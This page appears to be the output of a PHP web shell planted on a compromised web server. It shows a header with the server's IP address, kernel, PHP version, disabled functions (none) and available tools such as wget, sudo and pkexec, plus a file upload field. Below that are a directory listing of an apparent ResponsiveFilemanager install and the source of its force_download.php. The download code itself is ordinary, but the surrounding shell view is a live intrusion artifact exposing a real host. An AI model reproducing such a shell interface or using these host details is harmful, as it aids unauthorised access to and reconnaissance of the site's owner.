| .. | |||||
| config | |||||
| css | |||||
| img | |||||
| include | |||||
| jPlayer | |||||
| js | |||||
| lang | |||||
| photo | |||||
| thumbs | |||||
| uploader | |||||
| ajax_calls.php | |||||
| dialog.php | |||||
| execute.php | |||||
| force_download.php | |||||
| index.php | |||||
| plugin.js | |||||
| plugin.min.js | |||||
| upload.php |
| Server IP : 103.169.32.36 / Your IP : 216.73.217.13 Web Server : Apache System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : apache ( 48) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/dpmptsp/public_html/admin/gallery/ |
Upload File : |
<?php
include('config/config.php');
if($_SESSION['RF']["verify"] != "RESPONSIVEfilemanager") die('forbiden');
include('include/utils.php');
if(strpos($_POST['path'],'/')===0
|| strpos($_POST['path'],'../')!==FALSE
|| strpos($_POST['path'],'./')===0)
die('wrong path');
if(strpos($_POST['name'],'/')!==FALSE)
die('wrong path');
$path=$current_path.$_POST['path'];
$name=$_POST['name'];
$info=pathinfo($name);
if(!in_array(fix_strtolower($info['extension']), $ext)){
die('wrong extension');
}
header('Pragma: private');
header('Cache-control: private, must-revalidate');
header("Content-Type: application/octet-stream");
header("Content-Length: " .(string)(filesize($path.$name)) );
header('Content-Disposition: attachment; filename="'.($name).'"');
readfile($path.$name);
exit;
?>| .. | |||||
| config | |||||
| css | |||||
| img | |||||
| include | |||||
| jPlayer | |||||
| js | |||||
| lang | |||||
| photo | |||||
| thumbs | |||||
| uploader | |||||
| ajax_calls.php | |||||
| dialog.php | |||||
| execute.php | |||||
| force_download.php | |||||
| index.php | |||||
| plugin.js | |||||
| plugin.min.js | |||||
| upload.php |